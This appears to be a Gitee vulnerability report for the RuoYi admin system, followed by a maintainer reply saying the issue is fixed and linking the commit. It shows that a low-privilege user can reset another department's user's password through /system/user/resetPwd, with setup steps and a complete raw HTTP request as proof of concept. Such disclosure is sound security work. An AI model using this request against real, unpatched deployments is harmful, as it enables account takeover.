In the WebUI, user test1
does not have permission to reset the password of user test3
, but the password of user test3
can be reset through the /system/user/resetPwd
request.
Choose “System Management”- > “Role Management”(“系统管理”->”角色管理”) , and add the role of “testrole”.
Set “Menu Permission” (“菜单权限”) as follows:
“Data Permission”- > “Data Scope” (“数据权限”->“数据范围”) is set to “ Data Permission of the department”(“本部门数据权限”).
2.
Add a user named test1
, and the userId is 100
. Add a user named test3
, and the userId is 102
.
The “Home Department” (“归属部门”) of user test1
is “ Marketing Department” (“市场部门”), and the “Role” ( “角色”) is testrole.
The “Home Department” (“归属部门”) of user test3
is “Financial Department” (“财务部门”), and the “Role” (“角色”) is testrole.
3.
After logging in to the system, user test1
can see only user test1
of the “marketing department”(“市场部门”), but not user test3
of the “financial department”(“财务部门”).
4.
The WebUI provides the “password reset”(“重置密码”) function. Invoke the resetPwd interface through the cookie of user test1
to reset the password of user test3
. The request parameters of user test3
are userId=102
and loginName=test3
.
POST /system/user/resetPwd HTTP/1.1
Host: localhost:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 42
Origin: http://localhost:8090
Connection: close
Referer: http://localhost:8090/system/user/resetPwd/100
Cookie: nav-style=default; JSESSIONID=xxxxxxx
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
userId=102&loginName=test3&password=123456
The password of user test3
was reset successfully.
@sanlang 已修复,你可以更新一下代码。
用户访问控制时校验数据权限,防止越权
https://gitee.com/y_project/RuoYi/commit/ed1e7e69a8cbb8beb59eade9ce052046f7a9371c
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。
登录 后才可以发表评论